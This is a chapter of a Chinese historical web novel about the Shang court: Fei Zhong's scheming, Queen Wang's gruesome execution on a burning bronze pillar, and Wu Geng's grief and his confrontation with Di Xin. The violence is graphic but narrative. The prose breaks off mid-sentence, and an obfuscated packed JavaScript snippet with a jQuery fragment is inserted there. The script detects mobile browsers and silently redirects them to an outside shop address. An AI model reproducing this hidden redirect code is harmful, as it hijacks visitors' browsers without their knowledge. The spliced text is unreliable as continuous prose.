苦经营
费仲望着比干远去的背影,嘴角的笑意愈发得意,眼底藏着算计得逞的阴狠。原来,先前去提王氏的人被武庚阻拦后,匆忙跑出来并非是向比干报信,实则是奔着他费仲来的。这费仲本就狡猾多端,虽说巴不得王氏丧命、捧着妲己登上后位,却也不敢轻易得罪武庚——他清楚自己的身份,若真能随意说动太子,也不必处心积虑攥着妲己的把柄,靠着二人先前定下的交易牟取私利了。
可若是将此事禀报帝辛,也同样不妥。一旦武庚日后知晓是他告的密,以太子未来的身份,他必然没有好下场。正当费仲一筹莫展,在原地暗自盘算之际,忽见比干也赶来观刑。他瞬间灵机一动,待比干从自己面前经过时,故意对着那来搬救兵的内竖高声道:“你便是苦求我也无用!太子这是摆明了要忤逆大王,连大王亲自派去的侍人都不放在眼里,拦着不让你们带人。我便是去了,又能有什么用?”
“可眼下这事若是直接禀报大王,只怕会让大王更加心烦意乱,说不定还会连累太子。你且容我想想,该如何辗转告知大王,既能了却此事,又不伤他们父子情分。切记,万不可惊动大王,让他知道太子此刻正在地坤宫!”费仲这番话,字字句句都像是在为帝辛和武庚着想,实则全是算计。
比干心里明镜似的,知道费仲口中“顾及父子情分”全是屁话,可话里的几分道理,却让他上了心。即便费仲是为了自身荣华富贵,不敢得罪帝辛或武庚任何一方,可他说的没错——若是武庚只是拦着不让提人,就贸然惊动帝辛,他们父子二人即便不立刻反目,也必然会生出芥蒂,后患无穷。
看着费仲一副苦无对策的模样,比干不禁露出一丝不屑,在心底暗暗嘲笑:这等佞臣果然都是草包,平日里靠着阿谀奉承讨好大王,真到了关键时刻,半点用处也没有。比干转头望向刑场方向,只见许多奴隶正往铜柱中间添加热炭,原本通红的铜柱已渐渐变暗。他虽未曾见过这般刑具,却也大致猜到,这铜柱便是处死王氏的刑具,想来帝辛是要将王氏扔进铜柱中间焚烧。
他生怕武庚耽搁太久惊动帝辛,更怕武庚赶过来,亲眼见到母亲被焚烧的惨状,受不住这般刺激。比干不敢有丝毫犹豫,当即快步朝着地坤宫奔去——他哪里知道,自己早已被费仲当成了棋子,成了那草包佞臣向上攀爬的垫脚石。
比干一路急奔,心里还在担心费仲那草包沉不住气,会把事情全捅给帝辛。可他刚走到半路,就见一群人搀扶着一个形容落魄的妇人快步走来。直到那群人走近,比干才看清,那妇人竟是王氏。王氏的面容变化不大,可从前那双虽不常笑、却透着威严的眼睛,早已不见踪影,只剩下两个黑洞洞的窟窿,糊着干涸的血痂,看得人头皮发麻。
比干大惊失色,脚下一个趔趄,险些摔倒在地。他见过许多被剜去双眼的奴隶,却从未见过被剜眼的王后。他慌忙往人群里扫了一眼,没看到武庚的身影,心里愈发着急——他不知道武庚此刻在哪里,又是什么状况。比干定了定神,压下心头的惊悸,脚步更快地往地坤宫赶去。
刚走了没几步,他就见武庚慌慌张张地从地坤宫跑了出来。比干想也不想,立刻冲上前拦住了他——他绝不能让武庚赶去刑场,看到那样惨烈的景象。虽然他先前在心里想好的劝说之词一句也没用上,与武庚的对峙也耗费了不少时间,可终究是达到了目的,拦住了武庚。
待比干折返回玄武门时,观刑的人群还未散去,只是现场一片狼藉:有人蹲在地上呕吐不止,有人吓得浑身发抖,连挪动一步的力气都没有。比干挤开人群走上前,只见王氏伏在滚烫的铜柱上,早已没了气息。她的身上,皮肉或暗红、或焦黑,有的地方已经炭化,破烂的衣衫碎片挂在身上,不知是被皮鞭抽碎的,还是被铜柱炙烤后,跟着皮肉一同粘在上面的。
忽然一阵寒风刮过,掀起了尸身背上的一块碎布,露出底下一小块尚未被灼伤的白嫩肌肤。那抹刺眼的白,与周围焦黑的皮肉形成了极致的对比,看得人不寒而栗,胃里一阵翻江倒海。比干却没觉得有多恶心,心里反倒生出几分惋惜——惋惜王氏的下场,更惋惜大商的未来。
这份惋惜,很快就转化成了对妲己更深的怨恨。从这一刻起,比干便一门心思地谋划着要除去妲己,却不知,他这执念日后会害死多少无辜之人,直到临死前,他才明白自己错得有多离谱,可一切都已无法挽回。正是:不经泪流言伤心,未有迫害说憎恨,骗人不轻。
比干的事暂且按下不表。再说印儿一时情急奔下台阶,虽然制止了武庚的发狂举动,却没留意到,已有旁人将这一幕看在了眼里。妲己见武庚渐渐平静下来,却依旧心神不宁,想着王氏此刻应该已经断气,便开口劝他离开,嘱咐他去取回王氏的尸骨,好生安葬。
武庚心里也有此意,可他既怕帝辛不肯应允,更怕此刻见到那个亲手杀死母亲的父亲。他一时踌躇不前,没有立刻动身。妲己见他这般为难,心里瞬间明白了几分——换做是谁,经历了这样的事,怕是这辈子都不愿再见到那样冷酷的父亲。可他是太子,是大商未来的继承人,肩上扛着无法推卸的责任。
“你终究是太子,迟早还要见他。”妲己的声音带着一丝不易察觉的沉重,“若有朝一日你登上王位,要为你母后平反,也并非难事。可若是一味躲避,连自己该做什么都不知道,你母亲先前为你做的这一切,就全白费了。”武庚何尝不想振作,可母亲惨死的画面在他脑海里反复回放,心里的绝望像潮水般将他淹没,实在无力支撑。
妲己见他这般颓靡,心里又急又气,狠狠丢下一句“你这样子,对得起谁?对得起你母亲的牺牲吗?”,便头也不回
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028946|194484||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地往台阶上走,径直回正殿去了。武庚心里清楚,妲己是故意用话激他。这激将法虽没能立刻让他振奋,却在他绝望的心底,点燃了一丝微弱的勇气。
他不想今后无力保护妲己,更不想母亲永远背着恶名,在世上留下骂名。待妲己的身影消失在殿门后,武庚怔立了许久,才缓缓转过身,朝着玄武门的方向走去——他必须去取回母亲的尸骨,这是他作为儿子最后的责任。
可他不知道,就在他转身的那一刻,妲己的身影又出现在了台阶的拐角处。原来,她并未真的狠心离开。看着武庚渐渐远去的背影,妲己不禁轻轻叹了口气。武庚此刻的艰难,她心里清楚,武庚自己更清楚。经历了母亲惨死、父亲冷酷的事,这朝歌上下,怕是没几个人还会真心瞧得起他,先前的恭敬与谨慎,也多半变成了敷衍与轻视。
妲己也不知道自己能做些什么,只想着武庚当初那般舍命救她,王氏到最后也对她推心置腹,自己无论如何,都该帮衬他一把。或许,就像王氏说的那样,她与武庚,在这深宫里,终究还是需要相互照应的。
武庚刚走了半路,就与帝辛迎面遇上。让他意外的是,帝辛的脸上,并没有因王氏的惨死而露出丝毫快意,反而带着一股难以掩饰的恨恨之意,仿佛觉得王氏死得太痛快,没能让他尽兴一般。武庚见他这般神色,心下陡然一凉,像被冰水浇透了全身。
从小到大,武庚都是由王氏一手带大的。帝辛对他虽也不错,却远不及王氏的日夜陪伴、悉心照料。母子之情本就深厚,大多孩子幼时依赖的都是母亲。而如今,至亲的母亲被疏离的父亲亲手害死,武庚心中对帝辛仅存的那点父子情谊,也变得十分淡薄,只剩下冰冷的陌生。
“父王。”武庚开口,声音平静得不像他自己。心里的矛盾与挣扎早已消散,此刻只剩下坦然——坦然面对这残酷的现实,坦然面对这个冷酷的父亲。帝辛对武庚的出现似乎并不意外,他脸上的恨意稍稍收敛,对着武庚笑了笑,点了点头,随口问了几句生活琐事,像是在刻意营造父子和睦的假象。
寒暄了几句后,帝辛终于问道:“你特意来找父王,可是有什么事?”“正是。”武庚抬起头,迎上帝辛的目光,眼底没有丝毫畏惧,“儿有一个请求,还望父王允准。”这是武庚与帝辛之间,第一场没有温情的对峙。他不知道自己胜算有多大,能争取到的东西又有多少,可他必须试一试。
往后的日子还很长,他要在这深宫里好好活下去,要为母亲平反,要守护自己想守护的人,就不能再像从前那般天真,那般不用心。这一次,权当是他成长的开始。“庚儿所求何事?”帝辛的面色沉了下来,眼底闪过一丝阴霾,心里已然隐约猜到了武庚的来意。“儿想取回母亲的尸骨,好好安葬她。”武庚一字一句,说得无比坚定,全然不顾帝辛难看的脸色。